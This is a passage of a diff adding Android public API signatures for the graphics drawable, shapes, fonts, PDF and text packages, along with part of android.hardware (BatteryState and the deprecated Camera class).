+    method @NonNull public android.graphics.drawable.Drawable newDrawable(@Nullable android.content.res.Resources, @Nullable android.content.res.Resources.Theme);
+  }
+
+  public class DrawableContainer extends android.graphics.drawable.Drawable implements android.graphics.drawable.Drawable.Callback {
+    ctor public DrawableContainer();
+    method public void draw(android.graphics.Canvas);
+    method public int getOpacity();
+    method public void invalidateDrawable(@NonNull android.graphics.drawable.Drawable);
+    method public void scheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable, long);
+    method public boolean selectDrawable(int);
+    method public void setAlpha(int);
+    method public void setColorFilter(android.graphics.ColorFilter);
+    method protected void setConstantState(android.graphics.drawable.DrawableContainer.DrawableContainerState);
+    method public void setDither(boolean);
+    method public void setEnterFadeDuration(int);
+    method public void setExitFadeDuration(int);
+    method public void unscheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable);
+  }
+
+  public abstract static class DrawableContainer.DrawableContainerState extends android.graphics.drawable.Drawable.ConstantState {
+    method public final int addChild(android.graphics.drawable.Drawable);
+    method public boolean canConstantState();
+    method protected void computeConstantSize();
+    method public int getChangingConfigurations();
+    method public final android.graphics.drawable.Drawable getChild(int);
+    method public final int getChildCount();
+    method public final android.graphics.drawable.Drawable[] getChildren();
+    method public final int getConstantHeight();
+    method public final int getConstantMinimumHeight();
+    method public final int getConstantMinimumWidth();
+    method public final android.graphics.Rect getConstantPadding();
+    method public final int getConstantWidth();
+    method public final int getEnterFadeDuration();
+    method public final int getExitFadeDuration();
+    method public final int getOpacity();
+    method public void growArray(int, int);
+    method public final boolean isConstantSize();
+    method public final boolean isStateful();
+    method public final void setConstantSize(boolean);
+    method public final void setEnterFadeDuration(int);
+    method public final void setExitFadeDuration(int);
+    method public final void setVariablePadding(boolean);
+  }
+
+  public abstract class DrawableWrapper extends android.graphics.drawable.Drawable implements android.graphics.drawable.Drawable.Callback {
+    ctor public DrawableWrapper(@Nullable android.graphics.drawable.Drawable);
+    method public void draw(@NonNull android.graphics.Canvas);
+    method @Nullable public android.graphics.drawable.Drawable getDrawable();
+    method public int getOpacity();
+    method public void invalidateDrawable(@NonNull android.graphics.drawable.Drawable);
+    method public void scheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable, long);
+    method public void setAlpha(int);
+    method public void setColorFilter(@Nullable android.graphics.ColorFilter);
+    method public void setDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void unscheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable);
+  }
+
+  public class GradientDrawable extends android.graphics.drawable.Drawable {
+    ctor public GradientDrawable();
+    ctor public GradientDrawable(android.graphics.drawable.GradientDrawable.Orientation, @ColorInt int[]);
+    method public void draw(android.graphics.Canvas);
+    method @Nullable public android.content.res.ColorStateList getColor();
+    method @Nullable public int[] getColors();
+    method @Nullable public float[] getCornerRadii();
+    method public float getCornerRadius();
+    method public float getGradientCenterX();
+    method public float getGradientCenterY();
+    method public float getGradientRadius();
+    method public int getGradientType();
+    method @Px public int getInnerRadius();
+    method public float getInnerRadiusRatio();
+    method public int getOpacity();
+    method public android.graphics.drawable.GradientDrawable.Orientation getOrientation();
+    method public int getShape();
+    method @Px public int getThickness();
+    method public float getThicknessRatio();
+    method public boolean getUseLevel();
+    method public void setAlpha(int);
+    method public void setColor(@ColorInt int);
+    method public void setColor(@Nullable android.content.res.ColorStateList);
+    method public void setColorFilter(@Nullable android.graphics.ColorFilter);
+    method public void setColors(@ColorInt @Nullable int[]);
+    method public void setColors(@ColorInt @Nullable int[], @Nullable float[]);
+    method public void setCornerRadii(@Nullable float[]);
+    method public void setCornerRadius(float);
+    method public void setDither(boolean);
+    method public void setGradientCenter(float, float);
+    method public void setGradientRadius(float);
+    method public void setGradientType(int);
+    method public void setInnerRadius(@Px int);
+    method public void setInnerRadiusRatio(@FloatRange(from=0.0f, fromInclusive=false) float);
+    method public void setOrientation(android.graphics.drawable.GradientDrawable.Orientation);
+    method public void setPadding(@Px int, @Px int, @Px int, @Px int);
+    method public void setShape(int);
+    method public void setSize(int, int);
+    method public void setStroke(int, @ColorInt int);
+    method public void setStroke(int, android.content.res.ColorStateList);
+    method public void setStroke(int, @ColorInt int, float, float);
+    method public void setStroke(int, android.content.res.ColorStateList, float, float);
+    method public void setThickness(@Px int);
+    method public void setThicknessRatio(@FloatRange(from=0.0f, fromInclusive=false) float);
+    method public void setUseLevel(boolean);
+    field public static final int LINE = 2; // 0x2
+    field public static final int LINEAR_GRADIENT = 0; // 0x0
+    field public static final int OVAL = 1; // 0x1
+    field public static final int RADIAL_GRADIENT = 1; // 0x1
+    field public static final int RECTANGLE = 0; // 0x0
+    field public static final int RING = 3; // 0x3
+    field public static final int SWEEP_GRADIENT = 2; // 0x2
+  }
+
+  public enum GradientDrawable.Orientation {
+    enum_constant public static final android.graphics.drawable.GradientDrawable.Orientation BL_TR;
+    enum_constant public static final android.graphics.drawable.GradientDrawable.Orientation BOTTOM_TOP;
+    enum_constant public static final android.graphics.drawable.GradientDrawable.Orientation BR_TL;
+    enum_constant public static final android.graphics.drawable.GradientDrawable.Orientation LEFT_RIGHT;
+    enum_constant public static final android.graphics.drawable.GradientDrawable.Orientation RIGHT_LEFT;
+    enum_constant public static final android.graphics.drawable.GradientDrawable.Orientation TL_BR;
+    enum_constant public static final android.graphics.drawable.GradientDrawable.Orientation TOP_BOTTOM;
+    enum_constant public static final android.graphics.drawable.GradientDrawable.Orientation TR_BL;
+  }
+
+  public final class Icon implements android.os.Parcelable {
+    method public static android.graphics.drawable.Icon createWithAdaptiveBitmap(android.graphics.Bitmap);
+    method @NonNull public static android.graphics.drawable.Icon createWithAdaptiveBitmapContentUri(@NonNull String);
+    method @NonNull public static android.graphics.drawable.Icon createWithAdaptiveBitmapContentUri(@NonNull android.net.Uri);
+    method public static android.graphics.drawable.Icon createWithBitmap(android.graphics.Bitmap);
+    method public static android.graphics.drawable.Icon createWithContentUri(String);
+    method public static android.graphics.drawable.Icon createWithContentUri(android.net.Uri);
+    method public static android.graphics.drawable.Icon createWithData(byte[], int, int);
+    method public static android.graphics.drawable.Icon createWithFilePath(String);
+    method public static android.graphics.drawable.Icon createWithResource(android.content.Context, @DrawableRes int);
+    method public static android.graphics.drawable.Icon createWithResource(String, @DrawableRes int);
+    method public int describeContents();
+    method @DrawableRes public int getResId();
+    method @NonNull public String getResPackage();
+    method public int getType();
+    method @NonNull public android.net.Uri getUri();
+    method public android.graphics.drawable.Drawable loadDrawable(android.content.Context);
+    method public void loadDrawableAsync(android.content.Context, android.os.Message);
+    method public void loadDrawableAsync(android.content.Context, android.graphics.drawable.Icon.OnDrawableLoadedListener, android.os.Handler);
+    method public android.graphics.drawable.Icon setTint(@ColorInt int);
+    method @NonNull public android.graphics.drawable.Icon setTintBlendMode(@NonNull android.graphics.BlendMode);
+    method public android.graphics.drawable.Icon setTintList(android.content.res.ColorStateList);
+    method @NonNull public android.graphics.drawable.Icon setTintMode(@NonNull android.graphics.PorterDuff.Mode);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.graphics.drawable.Icon> CREATOR;
+    field public static final int TYPE_ADAPTIVE_BITMAP = 5; // 0x5
+    field public static final int TYPE_BITMAP = 1; // 0x1
+    field public static final int TYPE_DATA = 3; // 0x3
+    field public static final int TYPE_RESOURCE = 2; // 0x2
+    field public static final int TYPE_URI = 4; // 0x4
+    field public static final int TYPE_URI_ADAPTIVE_BITMAP = 6; // 0x6
+  }
+
+  public static interface Icon.OnDrawableLoadedListener {
+    method public void onDrawableLoaded(android.graphics.drawable.Drawable);
+  }
+
+  public class InsetDrawable extends android.graphics.drawable.DrawableWrapper {
+    ctor public InsetDrawable(@Nullable android.graphics.drawable.Drawable, int);
+    ctor public InsetDrawable(@Nullable android.graphics.drawable.Drawable, float);
+    ctor public InsetDrawable(@Nullable android.graphics.drawable.Drawable, int, int, int, int);
+    ctor public InsetDrawable(@Nullable android.graphics.drawable.Drawable, float, float, float, float);
+  }
+
+  public class LayerDrawable extends android.graphics.drawable.Drawable implements android.graphics.drawable.Drawable.Callback {
+    ctor public LayerDrawable(@NonNull android.graphics.drawable.Drawable[]);
+    method public int addLayer(android.graphics.drawable.Drawable);
+    method public void draw(android.graphics.Canvas);
+    method public android.graphics.drawable.Drawable findDrawableByLayerId(int);
+    method public int findIndexByLayerId(int);
+    method public int getBottomPadding();
+    method public android.graphics.drawable.Drawable getDrawable(int);
+    method public int getEndPadding();
+    method public int getId(int);
+    method public int getLayerGravity(int);
+    method public int getLayerHeight(int);
+    method public int getLayerInsetBottom(int);
+    method public int getLayerInsetEnd(int);
+    method public int getLayerInsetLeft(int);
+    method public int getLayerInsetRight(int);
+    method public int getLayerInsetStart(int);
+    method public int getLayerInsetTop(int);
+    method public int getLayerWidth(int);
+    method public int getLeftPadding();
+    method public int getNumberOfLayers();
+    method public int getOpacity();
+    method public int getPaddingMode();
+    method public int getRightPadding();
+    method public int getStartPadding();
+    method public int getTopPadding();
+    method public void invalidateDrawable(@NonNull android.graphics.drawable.Drawable);
+    method public void scheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable, long);
+    method public void setAlpha(int);
+    method public void setColorFilter(android.graphics.ColorFilter);
+    method public void setDither(boolean);
+    method public void setDrawable(int, android.graphics.drawable.Drawable);
+    method public boolean setDrawableByLayerId(int, android.graphics.drawable.Drawable);
+    method public void setId(int, int);
+    method public void setLayerGravity(int, int);
+    method public void setLayerHeight(int, int);
+    method public void setLayerInset(int, int, int, int, int);
+    method public void setLayerInsetBottom(int, int);
+    method public void setLayerInsetEnd(int, int);
+    method public void setLayerInsetLeft(int, int);
+    method public void setLayerInsetRelative(int, int, int, int, int);
+    method public void setLayerInsetRight(int, int);
+    method public void setLayerInsetStart(int, int);
+    method public void setLayerInsetTop(int, int);
+    method public void setLayerSize(int, int, int);
+    method public void setLayerWidth(int, int);
+    method public void setOpacity(int);
+    method public void setPadding(int, int, int, int);
+    method public void setPaddingMode(int);
+    method public void setPaddingRelative(int, int, int, int);
+    method public void unscheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable);
+    field public static final int INSET_UNDEFINED = -2147483648; // 0x80000000
+    field public static final int PADDING_MODE_NEST = 0; // 0x0
+    field public static final int PADDING_MODE_STACK = 1; // 0x1
+  }
+
+  public class LevelListDrawable extends android.graphics.drawable.DrawableContainer {
+    ctor public LevelListDrawable();
+    method public void addLevel(int, int, android.graphics.drawable.Drawable);
+  }
+
+  public class NinePatchDrawable extends android.graphics.drawable.Drawable {
+    ctor @Deprecated public NinePatchDrawable(android.graphics.Bitmap, byte[], android.graphics.Rect, String);
+    ctor public NinePatchDrawable(android.content.res.Resources, android.graphics.Bitmap, byte[], android.graphics.Rect, String);
+    ctor @Deprecated public NinePatchDrawable(@NonNull android.graphics.NinePatch);
+    ctor public NinePatchDrawable(@Nullable android.content.res.Resources, @NonNull android.graphics.NinePatch);
+    method public void draw(android.graphics.Canvas);
+    method public int getOpacity();
+    method @NonNull public android.graphics.Paint getPaint();
+    method public void setAlpha(int);
+    method public void setColorFilter(@Nullable android.graphics.ColorFilter);
+    method public void setDither(boolean);
+    method public void setTargetDensity(@NonNull android.graphics.Canvas);
+    method public void setTargetDensity(@NonNull android.util.DisplayMetrics);
+    method public void setTargetDensity(int);
+  }
+
+  public class PaintDrawable extends android.graphics.drawable.ShapeDrawable {
+    ctor public PaintDrawable();
+    ctor public PaintDrawable(int);
+    method public void setCornerRadii(float[]);
+    method public void setCornerRadius(float);
+  }
+
+  public class PictureDrawable extends android.graphics.drawable.Drawable {
+    ctor public PictureDrawable(android.graphics.Picture);
+    method public void draw(android.graphics.Canvas);
+    method public int getOpacity();
+    method public android.graphics.Picture getPicture();
+    method public void setAlpha(int);
+    method public void setColorFilter(android.graphics.ColorFilter);
+    method public void setPicture(android.graphics.Picture);
+  }
+
+  public class RippleDrawable extends android.graphics.drawable.LayerDrawable {
+    ctor public RippleDrawable(@NonNull android.content.res.ColorStateList, @Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable);
+    method @NonNull public android.content.res.ColorStateList getEffectColor();
+    method public int getRadius();
+    method public void setColor(@NonNull android.content.res.ColorStateList);
+    method public void setEffectColor(@NonNull android.content.res.ColorStateList);
+    method public void setRadius(int);
+    field public static final int RADIUS_AUTO = -1; // 0xffffffff
+  }
+
+  public class RotateDrawable extends android.graphics.drawable.DrawableWrapper {
+    ctor public RotateDrawable();
+    method public float getFromDegrees();
+    method public float getPivotX();
+    method public float getPivotY();
+    method public float getToDegrees();
+    method public boolean isPivotXRelative();
+    method public boolean isPivotYRelative();
+    method public void setFromDegrees(float);
+    method public void setPivotX(float);
+    method public void setPivotXRelative(boolean);
+    method public void setPivotY(float);
+    method public void setPivotYRelative(boolean);
+    method public void setToDegrees(float);
+  }
+
+  public class ScaleDrawable extends android.graphics.drawable.DrawableWrapper {
+    ctor public ScaleDrawable(android.graphics.drawable.Drawable, int, float, float);
+  }
+
+  public class ShapeDrawable extends android.graphics.drawable.Drawable {
+    ctor public ShapeDrawable();
+    ctor public ShapeDrawable(android.graphics.drawable.shapes.Shape);
+    method public void draw(android.graphics.Canvas);
+    method public int getOpacity();
+    method public android.graphics.Paint getPaint();
+    method public android.graphics.drawable.ShapeDrawable.ShaderFactory getShaderFactory();
+    method public android.graphics.drawable.shapes.Shape getShape();
+    method protected boolean inflateTag(String, android.content.res.Resources, org.xmlpull.v1.XmlPullParser, android.util.AttributeSet);
+    method protected void onDraw(android.graphics.drawable.shapes.Shape, android.graphics.Canvas, android.graphics.Paint);
+    method public void setAlpha(int);
+    method public void setColorFilter(android.graphics.ColorFilter);
+    method public void setDither(boolean);
+    method public void setIntrinsicHeight(int);
+    method public void setIntrinsicWidth(int);
+    method public void setPadding(int, int, int, int);
+    method public void setPadding(android.graphics.Rect);
+    method public void setShaderFactory(android.graphics.drawable.ShapeDrawable.ShaderFactory);
+    method public void setShape(android.graphics.drawable.shapes.Shape);
+  }
+
+  public abstract static class ShapeDrawable.ShaderFactory {
+    ctor public ShapeDrawable.ShaderFactory();
+    method public abstract android.graphics.Shader resize(int, int);
+  }
+
+  public class StateListDrawable extends android.graphics.drawable.DrawableContainer {
+    ctor public StateListDrawable();
+    method public void addState(int[], android.graphics.drawable.Drawable);
+    method public int findStateDrawableIndex(@NonNull int[]);
+    method public int getStateCount();
+    method @Nullable public android.graphics.drawable.Drawable getStateDrawable(int);
+    method @NonNull public int[] getStateSet(int);
+  }
+
+  public class TransitionDrawable extends android.graphics.drawable.LayerDrawable implements android.graphics.drawable.Drawable.Callback {
+    ctor public TransitionDrawable(android.graphics.drawable.Drawable[]);
+    method public boolean isCrossFadeEnabled();
+    method public void resetTransition();
+    method public void reverseTransition(int);
+    method public void setCrossFadeEnabled(boolean);
+    method public void startTransition(int);
+  }
+
+  public class VectorDrawable extends android.graphics.drawable.Drawable {
+    ctor public VectorDrawable();
+    method public void draw(android.graphics.Canvas);
+    method public int getOpacity();
+    method public void setAlpha(int);
+    method public void setColorFilter(android.graphics.ColorFilter);
+  }
+
+}
+
+package android.graphics.drawable.shapes {
+
+  public class ArcShape extends android.graphics.drawable.shapes.RectShape {
+    ctor public ArcShape(float, float);
+    method public android.graphics.drawable.shapes.ArcShape clone() throws java.lang.CloneNotSupportedException;
+    method public final float getStartAngle();
+    method public final float getSweepAngle();
+  }
+
+  public class OvalShape extends android.graphics.drawable.shapes.RectShape {
+    ctor public OvalShape();
+    method public android.graphics.drawable.shapes.OvalShape clone() throws java.lang.CloneNotSupportedException;
+  }
+
+  public class PathShape extends android.graphics.drawable.shapes.Shape {
+    ctor public PathShape(@NonNull android.graphics.Path, float, float);
+    method public android.graphics.drawable.shapes.PathShape clone() throws java.lang.CloneNotSupportedException;
+    method public void draw(android.graphics.Canvas, android.graphics.Paint);
+  }
+
+  public class RectShape extends android.graphics.drawable.shapes.Shape {
+    ctor public RectShape();
+    method public android.graphics.drawable.shapes.RectShape clone() throws java.lang.CloneNotSupportedException;
+    method public void draw(android.graphics.Canvas, android.graphics.Paint);
+    method protected final android.graphics.RectF rect();
+  }
+
+  public class RoundRectShape extends android.graphics.drawable.shapes.RectShape {
+    ctor public RoundRectShape(@Nullable float[], @Nullable android.graphics.RectF, @Nullable float[]);
+    method public android.graphics.drawable.shapes.RoundRectShape clone() throws java.lang.CloneNotSupportedException;
+  }
+
+  public abstract class Shape implements java.lang.Cloneable {
+    ctor public Shape();
+    method public android.graphics.drawable.shapes.Shape clone() throws java.lang.CloneNotSupportedException;
+    method public abstract void draw(android.graphics.Canvas, android.graphics.Paint);
+    method public final float getHeight();
+    method public void getOutline(@NonNull android.graphics.Outline);
+    method public final float getWidth();
+    method public boolean hasAlpha();
+    method protected void onResize(float, float);
+    method public final void resize(float, float);
+  }
+
+}
+
+package android.graphics.fonts {
+
+  public final class Font {
+    method @Nullable public android.graphics.fonts.FontVariationAxis[] getAxes();
+    method @NonNull public java.nio.ByteBuffer getBuffer();
+    method @Nullable public java.io.File getFile();
+    method public float getGlyphBounds(@IntRange(from=0) int, @NonNull android.graphics.Paint, @Nullable android.graphics.RectF);
+    method @NonNull public android.os.LocaleList getLocaleList();
+    method public void getMetrics(@NonNull android.graphics.Paint, @Nullable android.graphics.Paint.FontMetrics);
+    method public int getSourceIdentifier();
+    method @NonNull public android.graphics.fonts.FontStyle getStyle();
+    method @IntRange(from=0) public int getTtcIndex();
+  }
+
+  public static final class Font.Builder {
+    ctor public Font.Builder(@NonNull java.nio.ByteBuffer);
+    ctor public Font.Builder(@NonNull java.io.File);
+    ctor public Font.Builder(@NonNull android.os.ParcelFileDescriptor);
+    ctor public Font.Builder(@NonNull android.os.ParcelFileDescriptor, @IntRange(from=0) long, @IntRange(from=0xffffffff) long);
+    ctor public Font.Builder(@NonNull android.content.res.AssetManager, @NonNull String);
+    ctor public Font.Builder(@NonNull android.content.res.Resources, int);
+    ctor public Font.Builder(@NonNull android.graphics.fonts.Font);
+    method @NonNull public android.graphics.fonts.Font build() throws java.io.IOException;
+    method @NonNull public android.graphics.fonts.Font.Builder setFontVariationSettings(@Nullable String);
+    method @NonNull public android.graphics.fonts.Font.Builder setFontVariationSettings(@Nullable android.graphics.fonts.FontVariationAxis[]);
+    method @NonNull public android.graphics.fonts.Font.Builder setSlant(int);
+    method @NonNull public android.graphics.fonts.Font.Builder setTtcIndex(@IntRange(from=0) int);
+    method @NonNull public android.graphics.fonts.Font.Builder setWeight(@IntRange(from=android.graphics.fonts.FontStyle.FONT_WEIGHT_MIN, to=android.graphics.fonts.FontStyle.FONT_WEIGHT_MAX) int);
+  }
+
+  public final class FontFamily {
+    method @NonNull public android.graphics.fonts.Font getFont(@IntRange(from=0) int);
+    method @IntRange(from=1) public int getSize();
+  }
+
+  public static final class FontFamily.Builder {
+    ctor public FontFamily.Builder(@NonNull android.graphics.fonts.Font);
+    method @NonNull public android.graphics.fonts.FontFamily.Builder addFont(@NonNull android.graphics.fonts.Font);
+    method @NonNull public android.graphics.fonts.FontFamily build();
+  }
+
+  public final class FontStyle {
+    ctor public FontStyle();
+    ctor public FontStyle(int, int);
+    method public int getSlant();
+    method @IntRange(from=0, to=1000) public int getWeight();
+    field public static final int FONT_SLANT_ITALIC = 1; // 0x1
+    field public static final int FONT_SLANT_UPRIGHT = 0; // 0x0
+    field public static final int FONT_WEIGHT_BLACK = 900; // 0x384
+    field public static final int FONT_WEIGHT_BOLD = 700; // 0x2bc
+    field public static final int FONT_WEIGHT_EXTRA_BOLD = 800; // 0x320
+    field public static final int FONT_WEIGHT_EXTRA_LIGHT = 200; // 0xc8
+    field public static final int FONT_WEIGHT_LIGHT = 300; // 0x12c
+    field public static final int FONT_WEIGHT_MAX = 1000; // 0x3e8
+    field public static final int FONT_WEIGHT_MEDIUM = 500; // 0x1f4
+    field public static final int FONT_WEIGHT_MIN = 1; // 0x1
+    field public static final int FONT_WEIGHT_NORMAL = 400; // 0x190
+    field public static final int FONT_WEIGHT_SEMI_BOLD = 600; // 0x258
+    field public static final int FONT_WEIGHT_THIN = 100; // 0x64
+  }
+
+  public final class FontVariationAxis {
+    ctor public FontVariationAxis(@NonNull String, float);
+    method @Nullable public static android.graphics.fonts.FontVariationAxis[] fromFontVariationSettings(@Nullable String);
+    method public float getStyleValue();
+    method public String getTag();
+    method @NonNull public static String toFontVariationSettings(@Nullable android.graphics.fonts.FontVariationAxis[]);
+  }
+
+  public final class SystemFonts {
+    method @NonNull public static java.util.Set<android.graphics.fonts.Font> getAvailableFonts();
+  }
+
+}
+
+package android.graphics.pdf {
+
+  public class PdfDocument {
+    ctor public PdfDocument();
+    method public void close();
+    method public void finishPage(android.graphics.pdf.PdfDocument.Page);
+    method public java.util.List<android.graphics.pdf.PdfDocument.PageInfo> getPages();
+    method public android.graphics.pdf.PdfDocument.Page startPage(android.graphics.pdf.PdfDocument.PageInfo);
+    method public void writeTo(java.io.OutputStream) throws java.io.IOException;
+  }
+
+  public static final class PdfDocument.Page {
+    method public android.graphics.Canvas getCanvas();
+    method public android.graphics.pdf.PdfDocument.PageInfo getInfo();
+  }
+
+  public static final class PdfDocument.PageInfo {
+    method public android.graphics.Rect getContentRect();
+    method public int getPageHeight();
+    method public int getPageNumber();
+    method public int getPageWidth();
+  }
+
+  public static final class PdfDocument.PageInfo.Builder {
+    ctor public PdfDocument.PageInfo.Builder(int, int, int);
+    method public android.graphics.pdf.PdfDocument.PageInfo create();
+    method public android.graphics.pdf.PdfDocument.PageInfo.Builder setContentRect(android.graphics.Rect);
+  }
+
+  public final class PdfRenderer implements java.lang.AutoCloseable {
+    ctor public PdfRenderer(@NonNull android.os.ParcelFileDescriptor) throws java.io.IOException;
+    method public void close();
+    method public int getPageCount();
+    method public android.graphics.pdf.PdfRenderer.Page openPage(int);
+    method public boolean shouldScaleForPrinting();
+  }
+
+  public final class PdfRenderer.Page implements java.lang.AutoCloseable {
+    method public void close();
+    method public int getHeight();
+    method public int getIndex();
+    method public int getWidth();
+    method public void render(@NonNull android.graphics.Bitmap, @Nullable android.graphics.Rect, @Nullable android.graphics.Matrix, int);
+    field public static final int RENDER_MODE_FOR_DISPLAY = 1; // 0x1
+    field public static final int RENDER_MODE_FOR_PRINT = 2; // 0x2
+  }
+
+}
+
+package android.graphics.text {
+
+  public class LineBreaker {
+    method @NonNull public android.graphics.text.LineBreaker.Result computeLineBreaks(@NonNull android.graphics.text.MeasuredText, @NonNull android.graphics.text.LineBreaker.ParagraphConstraints, @IntRange(from=0) int);
+    field public static final int BREAK_STRATEGY_BALANCED = 2; // 0x2
+    field public static final int BREAK_STRATEGY_HIGH_QUALITY = 1; // 0x1
+    field public static final int BREAK_STRATEGY_SIMPLE = 0; // 0x0
+    field public static final int HYPHENATION_FREQUENCY_FULL = 2; // 0x2
+    field public static final int HYPHENATION_FREQUENCY_NONE = 0; // 0x0
+    field public static final int HYPHENATION_FREQUENCY_NORMAL = 1; // 0x1
+    field public static final int JUSTIFICATION_MODE_INTER_WORD = 1; // 0x1
+    field public static final int JUSTIFICATION_MODE_NONE = 0; // 0x0
+  }
+
+  public static final class LineBreaker.Builder {
+    ctor public LineBreaker.Builder();
+    method @NonNull public android.graphics.text.LineBreaker build();
+    method @NonNull public android.graphics.text.LineBreaker.Builder setBreakStrategy(int);
+    method @NonNull public android.graphics.text.LineBreaker.Builder setHyphenationFrequency(int);
+    method @NonNull public android.graphics.text.LineBreaker.Builder setIndents(@Nullable int[]);
+    method @NonNull public android.graphics.text.LineBreaker.Builder setJustificationMode(int);
+  }
+
+  public static class LineBreaker.ParagraphConstraints {
+    ctor public LineBreaker.ParagraphConstraints();
+    method @FloatRange(from=0) @Px public float getDefaultTabStop();
+    method @FloatRange(from=0.0f) @Px public float getFirstWidth();
+    method @IntRange(from=0) @Px public int getFirstWidthLineCount();
+    method @Nullable public float[] getTabStops();
+    method @FloatRange(from=0.0f) @Px public float getWidth();
+    method public void setIndent(@FloatRange(from=0.0f) @Px float, @IntRange(from=0) @Px int);
+    method public void setTabStops(@Nullable float[], @FloatRange(from=0) @Px float);
+    method public void setWidth(@FloatRange(from=0.0f) @Px float);
+  }
+
+  public static class LineBreaker.Result {
+    method public int getEndLineHyphenEdit(int);
+    method @Px public float getLineAscent(@IntRange(from=0) int);
+    method @IntRange(from=0) public int getLineBreakOffset(@IntRange(from=0) int);
+    method @IntRange(from=0) public int getLineCount();
+    method @Px public float getLineDescent(@IntRange(from=0) int);
+    method @Px public float getLineWidth(@IntRange(from=0) int);
+    method public int getStartLineHyphenEdit(int);
+    method public boolean hasLineTab(int);
+  }
+
+  public class MeasuredText {
+    method public void getBounds(@IntRange(from=0) int, @IntRange(from=0) int, @NonNull android.graphics.Rect);
+    method @FloatRange(from=0.0f) @Px public float getCharWidthAt(@IntRange(from=0) int);
+    method @FloatRange(from=0.0) @Px public float getWidth(@IntRange(from=0) int, @IntRange(from=0) int);
+  }
+
+  public static final class MeasuredText.Builder {
+    ctor public MeasuredText.Builder(@NonNull char[]);
+    ctor public MeasuredText.Builder(@NonNull android.graphics.text.MeasuredText);
+    method @NonNull public android.graphics.text.MeasuredText.Builder appendReplacementRun(@NonNull android.graphics.Paint, @IntRange(from=0) int, @FloatRange(from=0) @Px float);
+    method @NonNull public android.graphics.text.MeasuredText.Builder appendStyleRun(@NonNull android.graphics.Paint, @IntRange(from=0) int, boolean);
+    method @NonNull public android.graphics.text.MeasuredText build();
+    method @NonNull public android.graphics.text.MeasuredText.Builder setComputeHyphenation(boolean);
+    method @NonNull public android.graphics.text.MeasuredText.Builder setComputeLayout(boolean);
+  }
+
+  public final class PositionedGlyphs {
+    method public float getAdvance();
+    method public float getAscent();
+    method public float getDescent();
+    method @NonNull public android.graphics.fonts.Font getFont(@IntRange(from=0) int);
+    method @IntRange(from=0) public int getGlyphId(@IntRange(from=0) int);
+    method public float getGlyphX(@IntRange(from=0) int);
+    method public float getGlyphY(@IntRange(from=0) int);
+    method public float getOffsetX();
+    method public float getOffsetY();
+    method @IntRange(from=0) public int glyphCount();
+  }
+
+  public class TextRunShaper {
+    method @NonNull public static android.graphics.text.PositionedGlyphs shapeTextRun(@NonNull char[], int, int, int, int, float, float, boolean, @NonNull android.graphics.Paint);
+    method @NonNull public static android.graphics.text.PositionedGlyphs shapeTextRun(@NonNull CharSequence, int, int, int, int, float, float, boolean, @NonNull android.graphics.Paint);
+  }
+
+}
+
+package android.hardware {
+
+  public abstract class BatteryState {
+    ctor public BatteryState();
+    method @FloatRange(from=-1.0F, to=1.0f) public abstract float getCapacity();
+    method public abstract int getStatus();
+    method public abstract boolean isPresent();
+    field public static final int STATUS_CHARGING = 2; // 0x2
+    field public static final int STATUS_DISCHARGING = 3; // 0x3
+    field public static final int STATUS_FULL = 5; // 0x5
+    field public static final int STATUS_NOT_CHARGING = 4; // 0x4
+    field public static final int STATUS_UNKNOWN = 1; // 0x1
+  }
+
+  @Deprecated public class Camera {
+    method @Deprecated public final void addCallbackBuffer(byte[]);
+    method @Deprecated public final void autoFocus(android.hardware.Camera.AutoFocusCallback);
+    method @Deprecated public final void cancelAutoFocus();
+    method @Deprecated public final boolean enableShutterSound(boolean);
+    method @Deprecated protected void finalize();
+    method @Deprecated public static void getCameraInfo(int, android.hardware.Camera.CameraInfo);
+    method @Deprecated public static int getNumberOfCameras();
+    method @Deprecated public android.hardware.Camera.Parameters getParameters();
+    method @Deprecated public final void lock();
+    method @Deprecated public static android.hardware.Camera open(int);
+    method @Deprecated public static android.hardware.Camera open();
+    method @Deprecated public final void reconnect() throws java.io.IOException;
+    method @Deprecated public final void release();
+    method @Deprecated public void setAutoFocusMoveCallback(android.hardware.Camera.AutoFocusMoveCallback);
+    method @Deprecated public final void setDisplayOrientation(int);
+    method @Deprecated public final void setErrorCallback(android.hardware.Camera.ErrorCallback);
+    method @Deprecated public final void setFaceDetectionListener(android.hardware.Camera.FaceDetectionListener);
+    method @Deprecated public final void setOneShotPreviewCallback(android.hardware.Camera.PreviewCallback);
+    method @Deprecated public void setParameters(android.hardware.Camera.Parameters);
+    method @Deprecated public final void setPreviewCallback(android.hardware.Camera.PreviewCallback);
+    method @Deprecated public final void setPreviewCallbackWithBuffer(android.hardware.Camera.PreviewCallback);
+    method @Deprecated public final void setPreviewDisplay(android.view.SurfaceHolder) throws java.io.IOException;
+    method @Deprecated public final void setPreviewTexture(android.graphics.SurfaceTexture) throws java.io.IOException;
+    method @Deprecated public final void setZoomChangeListener(android.hardware.Camera.OnZoomChangeListener);
+    method @Deprecated public final void startFaceDetection();
+    method @Deprecated public final void startPreview();
+    method @Deprecated public final void startSmoothZoom(int);
+    method @Deprecated public final void stopFaceDetection();
+    method @Deprecated public final void stopPreview();
+    method @Deprecated public final void stopSmoothZoom();
+    method @Deprecated public final void takePicture(android.hardware.Camera.ShutterCallback, android.hardware.Camera.PictureCallback, android.hardware.Camera.PictureCallback);
+    method @Deprecated public final void takePicture(android.hardware.Camera.ShutterCallback, android.hardware.Camera.PictureCallback, android.hardware.Camera.PictureCallback, android.hardware.Camera.PictureCallback);
+    method @Deprecated public final void unlock();
+    field @Deprecated public static final String ACTION_NEW_PICTURE = "android.hardware.action.NEW_PICTURE";
+    field @Deprecated public static final String ACTION_NEW_VIDEO = "android.hardware.action.NEW_VIDEO";
+    field @Deprecated public static final int CAMERA_ERROR_EVICTED = 2; // 0x2
+    field @Deprecated public static final int CAMERA_ERROR_SERVER_DIED = 100; // 0x64
+    field @Deprecated public static final int CAMERA_ERROR_UNKNOWN = 1; // 0x1
+  }
+
+  @Deprecated public static class Camera.Area {
+    ctor @Deprecated public Camera.Area(android.graphics.Rect, int);
